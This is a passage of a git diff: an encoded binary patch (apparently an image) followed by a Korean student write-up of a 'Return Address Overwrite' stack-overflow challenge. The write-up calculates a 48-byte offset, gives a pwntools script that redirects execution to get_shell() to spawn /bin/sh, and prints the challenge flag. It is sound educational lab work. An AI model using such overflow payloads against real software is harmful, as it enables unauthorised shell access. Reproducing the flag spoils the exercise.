z;~ueq?SjSor81AF7B&afJ0&A9+1~LIit94R0e?tEmS1T5;HM4#OQt9{|3F-n6lx9Y zZ>Lh-2Cw|^zM}@^VPMYj0w=f|zZSAT<5;K=TOgFI{}k

wX_HH~d_+NTi!j&t5S~ z3MKeE&b&j1mYQ)TO%WK;adRwwYcuQD<9UP6EfEXlI^JgVvl-d)lj-saA8GhB7Q7*Y z8oc$T{mH9lXutO8;kcQ;sJeSAdG2ypKk2-tl>t*cP6v7=^umjn)hIO~TNn5WD7q zUtVGpANNk>V9kSlEfT1p@p%)SQi||xSpAL?O%{IaNEPBB{{_}?oaa~F=Q8p;B>MB+O5{`%|tFz zE4>kc@(D0Tf%gymSdp6H^(y9)0sokRy;3Dp-DB~6CHlbe0iwJ)BP#?{S*4T-p|gMx zk^S%->yXQ{@zsojHCh}7-wdhf^K5o0YI#9DCr4lE^7?YDhFTNV3~cmY(BU-qPboA= zi8S3gFDVd&SN2N^6qtu%hcMtF^_fO1j>slK)3U6;s0V9u%z<<#*nj z$z~pAY*y{A#n}EMu6%C`RWoJ3rMXXARH9}1!9z7~Mdj>;Yb&$jMH@s>(DM86nW#AI zu72gbZba4=-E~|f zp;b>1sKR~*@jchy)hg}CkOd#Ul2rQVeR;b85M61s;e=0nR}xYcL z2|PS~CztQTzS?SEySDSrx zCec0pUGqHo-dfK9=~JQ6z^iOcIrS#P=sG`IGB~^mjK(4!jv{VVd#3XL739AeU8sdmj0{dEbi{?`Qd_>`H_r z$G-N=3ci`ifC<#L5IMv#bfRJyM8@+*YE;%B*A=2U_jA^?$py1X4)rZDdtDZt?|-r z;DUEg#Abv+8|#MS{#q*zSLRrQMY7qJ1EuXsaI<+t3EEy}a_URID--1he)m`sr6BI~ zq;rN1Z_R$5pLZK#d1bMN1re_M!`<*|@VYLv#fSioolT zb}yXBY~EyW)V-k`2ft7sKa91zgMH=~{o3(BZo}SH4z_>hPEWvx)i6dO&9>ixn1{pP zydiP3^K&MN>T3w*mYsskDs}tgbr;3eXPs~s`{Zp>4)zvyWQ=D9RU}jNg^dot%l@zO zbQAX6Z=C+&m;Qr4ZLV-g*^MOLB=$mQqw9Q0*(N>7QJ(VP?D`4&VP7`S;gqouot7$ywe0w5{yKOhOGkB7eqRz;x|fG64Q15b1zEGN=MqrXyJWn29d z#?g_6nh%vnn_3S-Ik85C73F&mUS7D7e;{c!UtJ(cafuqH;MfrJVSW{WxgAA$+n5bK zsBMD`@$1s>DRLM*SwnI=7r0V=zk>bpA%hf!35p{)2$GBS1L=_9^^WVs2nCAoE5}0( zAl3KrZT^6^u+IIXB{iMl4Gahs`sdw$btIHL>;0IQP~pc_vFqqD;R#DS{7cT9uhrn(!v>v*{jn~g1s@QY*v7uf7H z(AUm~PYikSDI2#`!?macKtjcZD*@?Vj_nf5`N7(k%(oOafxd&ErW@iI&rtTjMRval z{c9J=MAF8(ANl4~{m z8B2wD?0w*e;Z+ZC9uZ0H0f*|JtL>)9I?DmnS?U{Okf2%qz!PGFn$0Ga1u={6axh&z zPXMP=!V6k66FkSeM((s{A-g0s0(;cTRDxHG6=)B};p`YFP;}JC08o)vWYtW*>oGXH zTu$mJ{gUV;6T!}Q2R9srLmi(uFyb*_CN#BJLP*188D4&gJk7iO{#bHM3qk(7|IAf7 z=PQvTKasN#kGk_hQ!e2nX%c2!-=`*J(CW5?mL;Yi^EJiGF%8XoN4@*EO=}-L6`s2KcQVVz-ta@X%ju7!g{}@p-q4dcy8Ohkh1PY3_A7Sh-)m?_tU(jQQNrUXi#+00g|Gpc8 zgoV`#1LgP9f+*?F#w+?S1(%B$$#Xl2=&SA1hgoL5 zw89x))YXh9v^<(K1Y=v|jsl^g1IL?c*|`*#{2$QDJs2%uEOvJG`SAV&qE#*f&9ihj zRs-s{Vq~5)H4%#SB$Jqgzh}fKXbm^=-oRzMJ0T9}kz1yn_6>dWhlg^hi2P8D6ZG~M zB){n5Hzof@JWYrcI;0m7AY=h%ktB)v%;}8|+L=>9)cza}NL!j(gfcSd8wXRIs%mP4 zBmc7K%?8m(L(uVWAe|N;KRK6TCmvXSUyZ!J;|;+JZ$7!alhB`fQm#4f>Dr}1{)>iJ zfa^T1>YqOoy7M$3jU@pG;o>UDqla@6DNm3=@@DLQgCzR8LIWYw<)5-t4&iKLPWu2B>eibcrjheu{aG)N(z}-wkOPHW3y%CZ zuZO3M#@teReDbs5{xFkpW!iEUa|4^_w&3C9)pV9pz0S3O2Sf~0)-j)wwc9x3}XgSgZ|2FGJ^WCMPd2fmYGtjb;M=!?Z7eD z;j!5r=~M@WX9U@~n+5i~YVj7#X@n-UPIv~Ry%GiaHmALferl+R>cJ?y)c9CsU(i3R zpLbhLQi<`YWttIaxlA0_NH*d)3fzDgSs~!=WNF6-XQx}!yzGub5j8l?8tF#CT%=EcH>8(2~R=#25g*yj1A-+Ktqkmhw{(881~EbHvKQiZ zH4fz5i`{J1rh{#owcC2-PX#Ma7QfXRVVUOc^)I*C_9O!%P@_S=@uiKXq#_8Tku0V6 z7?v}dV`E<71*uMCq9c{;XHUC8_kcnMAKYF4Xx)=sR%3QMnK*9wk41@D{;F{`q~s<# z-|v-)UC6_bq}$`);>G0OS+lb?yx?j6GrQ2byZWbRD#YbXxp^@daO4?i80P?7aM zno%jVt7-qlL!#YSOOXWHj`%<2L`r%j&xx>;w^00W$gN4seyk_$gb+-l6y#r~?ixY=s$Z zbewIl{S|W*q6T%7A$I)@8)lJSu(Gh+*MIlM25jau&_4UTZ#81sY#1ZMug@G69js`s z-ZfTZOqv?7yE^xQGaRLDp1Imdb_T&3w|;SYa}rDh=9*Mt*Cc^V6VhTK>%3)R97E{% zn_1rsLQ;c0hsIxVh?$1x(l~M=fCBg?(~?xr^-5PL#a7C#S6rrNV}MHatPjYNDl6=A ze4^M$YJpM15BPa9IK(3xqp6}_u8h=hJ~JO2eeSyG@){jo3c-Rpc*6hbVwpB^ zMI^ZHl_TZYQQ+X>Qkw9i8XXod9mfNGk5bSd+leub$TdhTHvvnOz+{>;0msBEXaZCU z%Cq6+@wwutjk9V96T`&xgqJAL56)?a!8xj6lAO9xtSKF;R}34VZhzb*aMve)^>x~} zZgy=`p_y^gga4cm4#{y)YeNY&v3Njz;@0x`dA{B(*!cm;SnR=Y>zp{=&I)(-rz@@p zaYVl;v5w}Fb2SuklYdy;2>N#FJgy9~q}a|90q%9P&GIFVj{r7sc6TbavovUd-K0v} zw0XP0!%8a5{{t!%ea|w+dS4M4RK&n8>}l7z_@aE8x*mWBCwj+hhthA`JTM*Q}j=J z>zel?ibwaFzuj5;ZSmplO1Ak^!@1XeBYz-Yy?DWg^Sj#dchEZB&Z&`# zB#y3uEk_>bee%WlfYN@8bTq7dchc4YBFs4;fVBG!VPyGQ4RkCwgvG)Ni8<}}8tEN6 z|FZc}{QGF3rcB6bRLslBP{qKs9}G~}b?-YMA6CWnPI%t5S!v>$*oPH_^011kvAb1S zd43@tYAROD#t*($?f(3eOws3sb^efCAjc=We5f~ZV&6zD2jE`V>a=6;gM4edZtAn~ z2C9V!5WZlz=db_iquEAotue=Nub@G1G^t<+Mn=%IF0-dUdgfwVuRr13R?lsPUKB~q zXw1#>7HCdQ2hYexNm6d^nkxt}5t zs{L)8RW2O8(q6TBdb|E1aBX@7UYW4DvdGQVAO=lvp17j>D5}OSoTw2>>X3gLr*W~a z@~J6MhW^D;1U`sg{T#W_@5R1cfJ*nL*b=!6<7M^E)slxXP|dcekS#7bg6lE6i08Fn zopQbNKHk^>TBJg?=#%?3c29~4T$Rz0fSKr}R!XZC4yjgLOO{9|EgUqmD1Ox-_8D7G zBCN!pO)0Hi6Fdfa(0*g`@^H6NAZXyT&TC^ii+-FW&qLO`GDi1pFw2DDp~CBxY1fr3 z3hBG<1uz}+!xO{kSktoodtCavYeJzK4U|qb*WE?e4L!MM3t^e3`M8>i3fxa*7LYK^ z&zCWhmD_te;Jmp!rYU)qaFiaxTK_0FF#g#&{zQ4=QD3&>7JBP3*itwTZ}3lr_WPUU zS$hwavVUk%pkeW`CvvC?Xx~8fWyT~ytz)IpX1EL6k>oz1p3wUIR@aDj&1w&7NY<8( z&@`os>FeuQFf^`0rLq1xf7+FZX8(q)yT1*AsmVqx0VgJDoRDC~nmx>2L0r-|$f^8y z$6Bhp+Am(&n*7Lrd^42kPjcx-PoDlSfv;?bfCe$*L3IXdc@(#= z)#`0*?~$kt9&l1x)I7;HQy$kU|MXNsCh^!YacL-tbQ`LQS zGhstc+E`co^+L*5_#((Ef`)X|S?1OeMkso$PL92APBY*#-w5Eo^w$hpK$%NVi-KVu zTMZFA3DS-NXfJf9PP)?!^wH+#y}@~Yf?sn@&%{@K|Bz8YqS#9v^T_F4I;gomGBuG4 z#&968zU0k8+>|=~5y;^iW+ZNIMusytwEEI|=z*AT7K^>^isll1T$bq`X5^9NHeNPR z+0(_{&4}S2P#{?vc&sTeQQ>2{gv1m?8{2>OE1Rx#GsAn zjJ5#5ptts9-oJ^%=hpG!3<;zl65XJa0#|vcdiF@BecE1?3nlAZzD`a@1D=|w8H_FO zj%J&icl=|1(4p$e4VU^Yyk_9+t_!u+#QHvxsat0CQFA)J?tbQ=Y@hvUYe? zbANC1=3AQa@#Rf-{z#F@a>0V(-F+|n-n1b5S#I~_U`NTXUWp6igQ0JlTKT@zq_Nj^ zg~n^RyoR&)gi@mZG<3QguvgK9MW7PaCVFHuN)J+{? ziv=$nEkB@kv>xsSf%DWS4~IK2f$NK5G?5b*S^E>)&}>!b4V8J(q)P6o_YT=qE5&tx zJ|;H%(Ta%F0ZvTFPB($`l7~sl$mK(#ujx8lt?5Oi;|Fc#w z*m-`kT##L7-5~JE;F9^(E|~Nli>bj^s2-mV^*iO0@Rf*u^g<`gTkR^uBhPi~U$-4S zPZ-zF0t^>lguDwbUgE!d22b!e9&Hen3vOJw{8?QC0)d@d$a%kf#Oh$bQTenQG{+zF zPW$Jl#fzhMIuO*W;1%?zE4|&=VtgL$q!@d8>N9F)P<~Xe#}g&vNIU&@`m3MyL}HXZ zTJZ`4MxgK+cbmDB;pUs)9vZ>&YHpQJ)5ygvd6CH)dC~TgQE$AV9WG8{#3<|XdL^J_ z@#mwsK;V^LJs18m_@nL?H^Huk28`6uPiX%+tc)~WAFK`8*=Di*`S}Rh|~3|B`*)zTgl{FzCi%Ehu$cuG$qAv z&mi7TqzF*3*?KzgvG(c~s=KimE*9HS4?*CamR5<^GNRg$_c9ekDH80qy5(J>X2%B+|{hAkA9nq^>&aq-oHy1mI?>+NZ^>D04|xO zS%}g%z7oG-HAZ*lvy9(TPLrJUVOpj8$fBo5)kBpys_2L)-*kSTb&fJWazhGdzo=0W z-f>6~B&EbzH_pYBdxOBbqieq;w#M0Sj<+d&IcBL=l>4Z_7|R^j zD99|b^KaHNr8BVpY#SE5mvjDwE+|-dHv*q9N@Pa-kQTMW{`86-WZT#Z1s2!t=^K6{ z<#|Y!q=kQ(40E9ApIu1oi9`e`#y~e3^AE>bzs3S4^;!L;s$b4esfX4VX6LpRJ4lDd zeDOzkI|2*H$9iXP_Y9A`ozL%Hp!#`!2dQVBso;Rp`JnZJqvxr@=rWJ;@WxI*VV1bJ zusdqjO9W}7Y9G|rmK|`*`JNfAJa=DdKFrbW;N#^D`xuot_NPIz2$fao>|}0iQ@$n& zA%EYqueH_FxQP<| z4Hi=`o#)(OM?Ziwz%ZJlGwW=6T6+GNY&aldfN~}v0pN@NU?8- zGRCjK90?L26DH#3>Y(}r%VPT8c$CFaP6)Su5&TSNYVQLJdEp?*YuhJir!j0^X`~y= z3bi9Q!x~RfEWgb8iK>R;dfjgy8;kOG*B)j3c^P|-mv4Wr`+!8PMR?}5Y}Gb`P9Yn% z%W&;evlAoGg(&MZs_eLJQK9<4i2|$BvA&8H0OG%SCQkkS%wFjC44;CxOIhTC;KUS5 zMBSO%##@j1&Znby+vpT+=M$=Y?6+QHiZVLsp`U2C?`V-WrCCZ#feCH?!YMnVac%3~ z1aUqo;VM_S;^7W?cJf@VLbv|$CF@7QIp7#Xx1f2o56YIQ@vdmK^;^SAlHVCddP`UB zHxd-d2P)3mgIv8~NhVlognoS|sMK=+u158pif4=iT6Y09ETtis8Bc!Y67K|mao_Wm zXfU_J`^#1v^y`=F@DjWGTnp`;YQ{Ab2*!VI#Roj_G$KEwm(BZ&V)<)7JXs+anKHj- zrD&S}X$elF4ddwxj8!nk!k|n{ZYsEBxfAw&eV_96QRrCUz~4y4>*wZXOkIX8?gWOt z;Xo`Y{gea)lC1a_T>~@mh(E^mIx#y#O(yUVJ6nFVY2TukH6OZbK4-Hx;RiqTRb^%r z!c0^vCR8Ii5jtNy6WQ7It=liL8_R?>A+7Me$o$QLN@B$3vXl<^ss0Yp*j7T8^c^m} zwO3XK9p66(0yVQ`zv5`ClsPrxm?I*&hb$urH2gM*zs!K;hP*6mM1f1R#a2q;I!j|D ztL}kHNtyt%9SXQM)X6@oPg0|4E%WwqdoJGP9XiSa?(Wig|8;Mfpj|S}V(f_Bq9~ee zOudE5mZI-k%F81)@ExF5uDM-%!%VF5>B2jv!6T; zj|e^9H&k7?m-0~RprRN*7?*nmP6^OI|z`@EXe1t9$1X zwX`)DS?lnZ#ksZncVp7zF+JYO8TaSljSbPm`$dS(ZK_%}6CVeC)xbJv(N8S-0IJ z1|6jZU;vNk6Kj0smltocO^TZ~bK8A>RiP8oYzvB23hMFQdxYAcNA|P!V9K4(vR6)I zPn6~8xZ{}gfjHL|i+$2=5KQvZ@v!k?L!2uIcW6v}lT?xQjH$2^a`g@C@2Xb=#z05( zZltvx^lPq@#fruV=KCT9FM}g7te?3hbE0#M_b=Z}a>IVQo-*iwIBd`2^H>|XPIdF| z>S>TAYxPA-3D!^R^hKc~_nVJ|=@DIG1#1!DVtfvHDmu3NRQOZ`iO*R0JKr#d=*B$7 zXlKN0#A91z@B|gr>Q+G~O@guV@8)D+l++3kCda6cw_Uvx%(dQhm~r2>Pb|?&SDn;? z;xR}65U+CM!Q!KkP7nuTF7vuHwACEU@W$Iu$s-m64&AE^A20^O8EL?*s(37ZgO*oz1VoV7+L18OHJs`)EmxXP6ukYj+z?@N*SF`qbK^UFBz$$j!L> zx&7^P0a$KEa-9CjEXJ&O|Nh>@6vRT|MR_IX4HG-P;@J#d=W+yfnj2fig5kp31{T+S zTbt)d0WTW%hW7*9L-wOEyq}yG)N&_{%MH&E7R|i;=5DKuE{w{y1tVHvnAH|GD_-@Z zNPwPVY84JYiRBB@+JwNs{(HSyl<`(l&E%{qKOlL`rtp)bS)?G>CsA|Ur)&F>d+1W- z^Y6-XUdcR_u2Mv`^_#iM5HtA~Sa|Tmk~z;#@&SUa>k=h&Wj1 zhD?2m^$BP(*kuGexZ#7=hYMX7M7m&$HRDRoMB{c_TK-reK#|m#?||?GEZq7xC6Q=X zq}bNc4$AFF&b)Ripu1zV^O#bKdl|Wda((fI(}CPqX28w3v03L`I{};lOTTF2&LO3O z$^=t_<>$Bf?q3T1rreLaK&k0%#09v+wcd>ACK{(I%#*jj#8G8(*S$;4-h+1HJU0aANS}e#Pmrn7 z*-4TqU^ZJ;`s}Isa!B+HGf$Xhgc`g$x@#E`+unfksEuO@XzqQ`#`wMB$!<5TZ8iJP zBlnb^-Q-^1T6vU?D7UiVmx=hm1JTR+^QZ7(y@?bRrCWyhG*T+MSIIj9(L#qWlW^>M zE-~;o!BLYEvpE;IKwb7fI+TzZ!UjqaTLTVm{BqbBt?-`gM7%>3h z$+n%KbYAwWGB&UsE5j;VEeW7#N zc2_N(-FeJfv#E|?aM)_IgkJL3I9RiG&$FCSBe)=<&anfnJFyZnCTj?m4Rmh*xKB_s zhkgO3Hl0+}7IKfy^>=odd#+Cel~n%3o<8gyN~9ioXFl;F2e-#TVi8l)F@drak-g^| zfN#|Dug0x-YRTRSbr3t}_>Y<4txV$+5hZxyHQLg5x2KJt9ES8gIH6qMMm2fgcuK>W z9V`m@EAuz0(C=d>(b``L+x!?7X&V(WOME_IYLpby>U1nn3(Id7o~%xl5X^DE!j;Z_ zDK~siolwcPPB;2|ZM2)ddHcm=??(5yG-fcB=GA`Qbv4{b^_?w1!(`!w8-f-icOw7* zybU4+>w&6J#VisEQ$)-x!=FC7vb^O-yDvYXSe~zHk05LhQS*&@eLU=l4N-Hh*JE-)^a3$Yh2PQr)*YMSgc_|&Z zGHgXr&-Sw1bTRnB=^=S&+U<85spjPz$x4kEot@q@`{~P(-p;`)>f=`IRsVDG_mP>m z8JzKENjXqZG%jPP9v7JoFK^_cXT-95HJcuBS8lVGnzw`bo6kVpnnh@8*US|P5h1?r+!JVE3YaH4kPv|h*jbI=$xQ@e+kVzQ zTe&!7($v?Ejes~Te{!Ie1R+a$rBuf)91oP9Oqd+ChC2>QIi{Z4Pu>HwGlMG`Raj5r^iitdwUd2la;{m9uk8{4kYF(+WrN6q@tRnXNv4~cqO;* zG7ucpsn=K5H`$6OZ04A2RBRK$nto@vc8-)<9Gg4M!AvC0K}g^{P9x;s&rb8+oh@Rx zt53G_qk2fc05T}F6a7cT=DY!QX-@*b3l`mgP6fF%R z9i<7cf0z!%c7*T+xY!Ig-BLyp_${fLz1A+f_h4~Ae2$~U#+WxaRy8xx)f{dW}<2U+B?iVsoIFmkWrS}x8&Wp z2L`+3L9`XDdhgaGA*a7fEBioMVKl1}VPHgY|M)ayQ(X;g5H0`Mq5l@3q#U4eOF-?A zKX?WE4#LfE;By9%Y|Cv7V$oHwnj6yNC6)zaq~}OQ9R~YlJZ2-vRG$nfF6z219>8OA z5Gcly%-?C#Lpt6Te*N*!5kUQ`U{euYUeq=5WM*PGNgF}`lZxLE{d&O89eLDQq-&P-|OPt_j^dT9C{XWUH#wiq`#j*0MGvvyb_R@-)MCqPxRyr;RrX` zP*HTD8nL1z){4>Xd&T-EI}8(ZZej?to{rRNjRJkzq@-i;#LQ&Fn5s2K+4p67#3ik{Oq??5W(jeF&s+MsYF^|8PG%0qmJVXZtKks!5ySibZ&OArGnFxaY*B2{nAZtPEv#v-qU9EK;25i> zv2?XEZHNW7F3ODND^Pdm+_rEA5!hQdp8O|@?Dla4CCTEW?Pl&C@-XZ&BEZTSgZo>2 zMJ;}(pti&xRcYLS$;{?@+bv#*w8epEE?Ae!M&8}C|@a{jwv4)Wl|S6yVNh{Oztthz)C7K=`RGP(LF zW%L6}AXoIpy~LGN?aFnmY^|oRgtX>$P)qGYGc!c>p%-O$U0>_IX#o@pk$h0NVQeyk zD5J}$N|Ql#S*oB4^oF7%2G0`%|8|{%o&FGCED=edj{OoArC& z6R9z!9!tO!!lANtTLg=)X$zniuU-zKHvfYeHa;l;kdllj5k}NJq(4+!9>QWpk@xf) z_(_G9adz^*B}>6pxfWY*wwhMlc4;d#S~*4+^7mHCZF zD{yJKOZ5>=8%oQ5E;o!tzlyANs5Y8$DcB@-n=e*iR)&Q6U$x1I169hBJWSUQhyq@M z^s5o|0dQDiBoYU?F7KR*DS@1fwJokF6ilQseel#QD;bE5aI8w7@PX>AGRL`%4hhLR z`dUbuN%O3bU#wQi=Lr`ID}plLKwwvT}1}Hw4`+jnF5O?-2bWobL_%fq2R2u3L8&u5jUs8;?_LIuf<5c zR>1Lz9aELm8CtF8jw+1o!H*&9QiQSk1p@J+B5Htdn=Oo@$OaIhQIZ@6n7pAI4AE!R zS(L~>FQmRK4@ju)<$VYKw+xM$h7ffu9Lvz;>Mk&SrH4j_^4%Z_UsjWf`5fKTECSXJ z=>oi>Kx;R3A?j)i*aTJtqLho_A3#S!`anh)KWh>|+9GA$y@frDIAitulV^$y5ArRK zv-00jR2+Ih8SX&JX1NLUYOg||7irK;Vh2n^^vHYgD(0dU7oCiCn!0Yf;EsY00)dI@ zhZQO`+&;>|ICn0TK_VG=9TprhczqT#z;2*KdfbD0+WOPqB~iKV{k694kMVaF%4D;_ zxWXb+pYWauz3{2;-f+E@pjFXVO)R%=qE|!{>2$Mj+kkP7prn)R7Q=t`lmX$LFnEFR zgo7}H@WA}Fty`mY`s+dUPe*?<$_2Q&Z_;$zDi^fN4rU;aHE#^Cp2}S*`ZhHOo95Mn zR~#68lUDJzv8%ER&iKGsp8z=7kN7!S34ozB%RXSv2rj5+A7IQ-A^W>4lBf2L+q)~hcD;UVd6bbbgF!)M{egvI0VP|h?LD(ozD zUCYHTge1ZLDY@7~5mHYK6`!L?KE^3sKaPC_PL%>85s1hd>D}Qn@!J~YHei5ob%=V= zkF(NquZ)Di$rvf(JRJ<3>xLp>HGiJJn@NM(%ff}W6qWR_RG&nBt|^M~WG+W$p1hX- zV(!W+1cV@OqTPCcaSz8N_tqH1)SYDI@b(M~EVc7F_K z8D8BJUB0xz(0!l6qL+j)`&gge(G3)dJog9y?*_B{r!2P2Q-;S%bg^uJs^U|Z=oN%_ z7l!bT%3`WsVFPBShg$O-ChHvFDfb*cQU7;#&aQp$#dh|g_yV_Q`AlaA%cAq11+UqH z*+Wc4>2d2 zzU;u*ve-*yYE@H6X43`gV{$5vRvIOPGu%lm*+5)`w xOa6N!p%Yhcj!3&Bv3A`MUwuM{&3`d`pbJj?(9 literal 0 HcmV?d00001 diff --git a/assignment/week07/2godong/week07Challenge.md b/assignment/week07/2godong/week07Challenge.md new file mode 100644 index 0000000..b83f054 --- /dev/null +++ b/assignment/week07/2godong/week07Challenge.md @@ -0,0 +1,154 @@ +# Return Address Overwrite 문제 풀이 보고서 + +### 1. 문제 개요 + +문제명 : Return Address Overwrite +유형 : Pwnable (Stack Buffer Overflow) +기법 : Return Address Overwrite + +이번 문제는 스택 버퍼 오버플로우 취약점을 이용하여 함수의 반환 주소(Return Address)를 조작하고, 프로그램 내부에 존재하는 get_shell() 함수를 실행시키는 문제이다. + +### 2 소스 코드 분석 + +문제에서 제공된 소스 코드는 다음과 같다. + +void get_shell() { +char *cmd = "/bin/sh"; +char *args[] = {cmd, NULL}; +execve(cmd, args, NULL); +} + +int main() { +char buf[0x28]; + + init(); + + printf("Input: "); + scanf("%s", buf); + + return 0; + +} + +코드를 분석해보면 main() 함수 내부에 char buf[0x28] 버퍼가 존재한다. + +char buf[0x28]; +scanf("%s", buf); + +buf의 크기는 0x28(40바이트)이지만, scanf("%s", buf)는 입력 길이를 제한하지 않는다. 따라서 40바이트보다 긴 문자열을 입력하면 버퍼 뒤에 저장된 데이터까지 덮어쓸 수 있다. + +이러한 취약점을 스택 버퍼 오버플로우(Stack Buffer Overflow)라고 한다. + +### 3. 스택 구조 분석 + +x64 환경에서 main() 함수의 스택 구조는 다음과 같다. + +Return Address +Saved RBP +buf[40] + +버퍼를 초과하여 입력하면 먼저 Saved RBP가 덮어써지고, 이후 Return Address까지 덮어쓸 수 있다. + +Return Address에 도달하기 위해 필요한 오프셋은 다음과 같다. + +buf : 40바이트 +Saved RBP : 8바이트 + +따라서 + +40 + 8 = 48 bytes + +총 48바이트를 채우면 Return Address 위치에 도달할 수 있다. + +### 4. 공격 아이디어 + +프로그램 내부에는 이미 쉘을 실행하는 함수가 존재한다. + +void get_shell() { +char *cmd = "/bin/sh"; +char *args[] = {cmd, NULL}; +execve(cmd, args, NULL); +} + +따라서 쉘코드를 삽입할 필요 없이, Return Address를 get_shell() 함수의 주소로 변경하면 된다. + +공격 순서는 다음과 같다. + +buf(40바이트)를 채운다. +Saved RBP(8바이트)를 채운다. +Return Address를 get_shell 주소로 덮어쓴다. +main 함수가 종료되면서 get_shell()이 실행된다. +쉘 획득 후 flag를 확인한다. + +### 5. get_shell 주소 확인 + +gdb(pwndbg)를 이용하여 get_shell 함수의 주소를 확인하였다. + +pwndbg> p get_shell +$1 = {} 0x401196 + +실행 환경에 따라 주소는 달라질 수 있으므로 직접 확인해야 한다. + +### 6. 익스플로잇 코드 작성 + +from pwn import \* + +p = process('./rao') + +payload = b'A' \* 48 +payload += p64(0x401196) + +p.sendline(payload) +p.interactive() +코드 설명 +from pwn import \* + +Pwntools 라이브러리를 사용하기 위해 import한다. + +p = process('./rao') + +로컬에서 프로그램을 실행한다. + +payload = b'A' \* 48 + +buf(40바이트)와 Saved RBP(8바이트)를 채우기 위한 더미 데이터이다. + +payload += p64(0x401196) + +Return Address를 get_shell() 주소로 덮어쓴다. + +p64()는 64비트 주소를 Little Endian 형태로 변환해주는 함수이다. + +p.sendline(payload) + +공격 페이로드를 전송한다. + +p.interactive() + +쉘이 실행되면 사용자와 상호작용할 수 있도록 Interactive 모드로 전환한다. + +### 7. 실행 결과 + +익스플로잇 코드를 실행하면 프로그램의 Return Address가 get_shell() 함수 주소로 변경된다. + +프로그램이 종료되는 순간 원래의 복귀 주소 대신 get_shell() 함수가 실행되며 /bin/sh 쉘을 획득할 수 있다. + +이후 쉘에서 다음 명령어를 실행하여 플래그를 확인하였다. + +cat flag + +플래그가 정상적으로 출력되는 것을 확인하였다. + +### 8. 최종 익스플로잇 결과 및 플래그 획득 + +환경 구축 후 solve.py 공격 스크립트를 실행한 결과, main 함수의 Return Address가 정상적으로 변조되어 get_shell() 함수가 실행되었으며, 대기 상태 프롬프트($)와 함께 원격 서버의 interactive 셸을 탈취하는 데 성공했다. + +최종 플래그: DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc} + +Image + +### 9. 결론 + +이번 문제에서는 스택 버퍼 오버플로우 취약점을 이용하여 Return Address를 조작하는 기법을 실습하였다. + +특히 프로그램 내부에 이미 존재하는 get_shell() 함수를 활용하여 쉘을 획득하는 방식으로 공격을 수행하였다. 이를 통해 스택 구조와 Return Address Overwrite의 원리를 이해할 수 있었으며, 버퍼 길이 검증의 중요성을 확인할 수 있었다.